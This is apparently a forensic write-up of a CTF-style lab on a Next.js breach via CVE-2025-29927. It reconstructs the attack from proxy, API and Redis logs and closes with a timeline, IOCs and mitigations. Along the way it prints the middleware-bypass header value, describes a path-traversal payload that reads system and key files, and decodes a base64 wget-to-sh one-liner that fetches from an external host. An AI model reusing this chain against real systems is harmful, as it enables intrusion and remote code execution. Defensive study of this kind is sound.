In this Challenge/Sherlock pair you will need to combine your offensive and defensive skills to emulate the threat actor’s attack chain on the web server to retrieve the flag and then analyse logs from the application stack to investigate and understand how CVE-2025-29927 is being exploited.
An attacker fingerprinted a Next.js application by probing for framework static files, then found an API route guarded by middleware that answered every request with 401. They abused the x-middleware-subrequest header, growing the value one repetition at a time until the middleware stopped running. The bypass gave them a request primitive that reached an internal data API, which they mapped with a port sweep and a wordlist of paths. A log-reading endpoint on that API accepted a traversal payload, and the attacker used it to read system files, the API source, and a secret key. They then pushed a signed command into the Redis queue that drives the application, which decoded to a download-and-execute one-liner against an external host.
unzip -Pgrep+0000) → grepIncoming request line per hit, plus headers → grepMONITOR output with epoch timestamps. Commands pushed to the bci_commands list are the interesting onesTimestamp note:
access.logand the application logs are UTC and line up with each other.redis.loguses Unix epoch seconds, so convert before comparing.
The Next.js startup banner is printed to stdout and lands in interface.log. Grep for it and read the version off the banner line.
unzip -P hacktheblue NeuroSync.zip -d work/x
grep -h "Next.js" interface.log
The line under the banner shows the Local: address the server bound to. The proxy in front of it forwards external requests to that port, which is also visible in the x-forwarded-port header on every proxied request.
grep -h "Local:" interface.log
This one comes from reference knowledge rather than an artifact. The Next.js version from Q1 predates the fix for the March 2025 middleware authorization bypass, where a crafted x-middleware-subrequest header makes Next.js skip middleware entirely. The scenario text names the same CVE, and the headers captured in interface.log later in the log confirm that header is the one being abused.
Filter the proxy log for /_next/static requests from the attacker IP and read the status codes in order. The first probe, a commons.js chunk, returns 404. The next request, for an app chunk under the same directory, returns 200 with a large body. That first success is the answer.
grep "/_next/static" access.log
Gotcha: The first file requested is not the first file served. Read the status column, not just the order.
After the static probing, the same IP starts hitting an API route over and over in access.log, each time getting a 401. A route that sits behind authentication middleware and rejects anonymous requests is exactly what the bypass targets, and the attempts are followed by requests carrying the bypass header.
grep '" 401 ' access.log
Count the 401 responses for the Q5 path. They run back to back over a few seconds, which fits a scripted loop.
grep '/api/bci/analytics' access.log | grep -c '" 401 '
The first 200 on the Q5 path comes straight after the last 401, one second later. The proxy log is UTC, so the timestamp converts directly to the requested format.
grep '/api/bci/analytics' access.log | grep -m1 '" 200 '
interface.log records the request headers for each attempt. Four of them carry x-middleware-subrequest with the value middleware repeated once, twice, three and four times, each separated by a colon, and each ends in a 401. Q6 counted five 401s in total and the next request succeeded, so the final value is the same pattern with five repetitions. This is reasoned from the pattern rather than read directly: the header of the successful request itself is not in the log. It also matches the Next.js recursion limit, which skips middleware once the repeated name reaches five levels.
grep -o '"x-middleware-subrequest","[^"]*"' interface.log
Gotcha: The log shows only the failed headers. The winning value has to be extrapolated from the repetition count.
Switch to data-api.log. Its startup line states the port it listens on, and the Host header of the requests the attacker relayed through the web app (localhost:<port>, then 127.0.0.1:<port>) shows the same value. These requests arrive from loopback with a curl user agent, which is the SSRF landing inside the host.
grep -E "running on port|Request headers" data-api.log
Between 11:38:27 and 11:38:37 data-api.log fills with GETs for common paths: /, /health, /admin, /debug, /status, /login, /users. That is the wordlist. The vulnerable endpoint is the first path that then shows up with a user-controlled parameter, logFile, which is not part of the wordlist noise.
grep "Incoming request" data-api.log
Filter for the logFile parameter. The first hit carries a traversal payload that ends in a system account file, so it is malicious rather than a legitimate log read.
grep -m1 "logFile" data-api.log
The logFile value is /var/log/ followed by sequences like ../.../...// and then an arbitrary absolute path, which is traversal with filter-evasion padding. The server resolves it and returns the file, so the endpoint takes user input into a filesystem read. This is classified from the payload shape rather than from a server response; the log has no response bodies.
Read the tail of the logFile requests. The sequence runs through /etc/passwd, /proc/self/environ, an application log and the API’s own index.js, and finishes with one file under /tmp at 11:39:24, two seconds before the Redis injection in Q14.
grep "logFile" data-api.log | tail -n 1
redis.log is a command monitor. The application consumes bci_commands with a blocking pop, and almost every push is a harmless movement command. One RPUSH stands out: an OS_EXEC verb followed by a base64 field and a 64-character hex field. That fits the Q13 finding, since the key read from the server is the sort of material needed to produce the trailing value. The blpop that pops it comes a few milliseconds later. The monitor timestamp is epoch 1743507566, which is 11:39:26 UTC, right after the last logFile request.
grep "OS_EXEC" redis.log
Decode the middle field from Q14. It is a wget to an external host that writes the script to stdout and pipes it into a shell, so the payload is fetched and run in one step with nothing left on disk.
echo d2dldCBodHRwOi8vMTg1LjIwMi4yLjE0Ny9oNFBsbjQvcnVuLnNoIC1PLSB8IHNo | base64 -d
| Phase | Action |
|---|---|
| Initial Access | Probes /_next/static chunks to fingerprint the framework; one 404, then a 200 |
| Initial Access | Repeated 401s on an API route guarded by middleware |
| Initial Access | x-middleware-subrequest value lengthened each try until the middleware is skipped and the route returns 200 |
| Discovery | SSRF through the bypassed route reaches an internal API on loopback after a port sweep |
| Discovery | Wordlist requests against the internal API turn up a log-reading endpoint |
| Collection | Traversal through the logFile parameter reads system files, the API source and a secret key |
| Execution | Signed OS_EXEC command pushed to the Redis command queue |
| Execution | Queue consumer runs a wget ... | sh one-liner from an external host |
| Timestamp (UTC) | Event |
|---|---|
| 2025-04-01 11:35:09 | Internal data API starts and listens on its port |
| 2025-04-01 11:37:40 | commons.js requested, 404 |
| 2025-04-01 11:37:44 | main-app.js requested, 200 |
| 2025-04-01 11:37:58 | First 401 on the protected API route |
| 2025-04-01 11:38:05 | First 200 from the protected route; middleware bypassed |
| 2025-04-01 11:38:27 | First relayed request hits the internal API |
| 2025-04-01 11:38:35 | Wordlist requests against the internal API (/admin, /debug, /status) |
| 2025-04-01 11:39:01 | First traversal request on the log endpoint (/etc/passwd) |
| 2025-04-01 11:39:24 | Last traversal request, for the secret key |
| 2025-04-01 11:39:26 | OS_EXEC pushed to bci_commands in Redis |
| Type | Value |
|---|---|
| Attacker IP | 10.129.231[.]211 |
| IP (payload host) | 185.202.2[.]147 |
| URL | hxxp[://]185[.]202[.]2[.]147/h4Pln4/run[.]sh |
| Header | x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware |
| Endpoint | /api/bci/analytics |
| Endpoint | /logs?logFile= (traversal) |
| File read | /tmp/secret.key |
| Redis key | bci_commands |
| Technique | ID | Description |
|---|---|---|
| Exploit Public-Facing Application | T1190 | CVE-2025-29927 middleware bypass on the Next.js route |
| Active Scanning: Wordlist Scanning | T1595.003 | Path brute force against the internal data API |
| Network Service Discovery | T1046 | Internal port sweep through the SSRF |
| Data from Local System | T1005 | Traversal reads of passwd, environ, source and the secret key |
| Command and Scripting Interpreter: Unix Shell | T1059.004 | OS_EXEC command piped into sh |
| Ingress Tool Transfer | T1105 | wget of run.sh from an external host |
Patch Next.js, and strip the header at the edge. Version 15.1.0 was exposed to the middleware bypass. Upgrading is the real fix. Until then, drop x-middleware-subrequest from inbound requests at the proxy, since no legitimate client should ever send it.
Treat a run of 401s followed by a 200 on the same path as an alert. Five rejections in about six seconds, then a success from the same IP, is a clear bypass-by-iteration signal. Log request headers on authenticated routes so the winning value is on record, which this application did not do for the successful call.
Do not trust the network boundary between the web tier and internal services. The data API on loopback served anything the SSRF relayed to it. Add authentication on internal APIs and restrict where server-side fetches can go.
Canonicalise and allowlist file paths. The /logs endpoint joined user input onto a base directory and read the result. Resolve the final path and compare it against an allowed directory, or accept log names from a fixed list.
Authenticate the command queue and keep secrets off readable paths. A key stored under /tmp was enough to forge a valid command, and the consumer ran OS_EXEC content with no further checks. Remove shell-execution verbs from the queue, and alert on any Redis push containing an exec verb.
One missing header check turned a 401 wall into an open door, and each following weakness (a trusting internal API, an unsanitised file path, a command queue that ran shell strings) let the attacker go further without a single exploit beyond the first. The logs recorded the whole chain; correlating the proxy, API and Redis logs by time is what reveals it.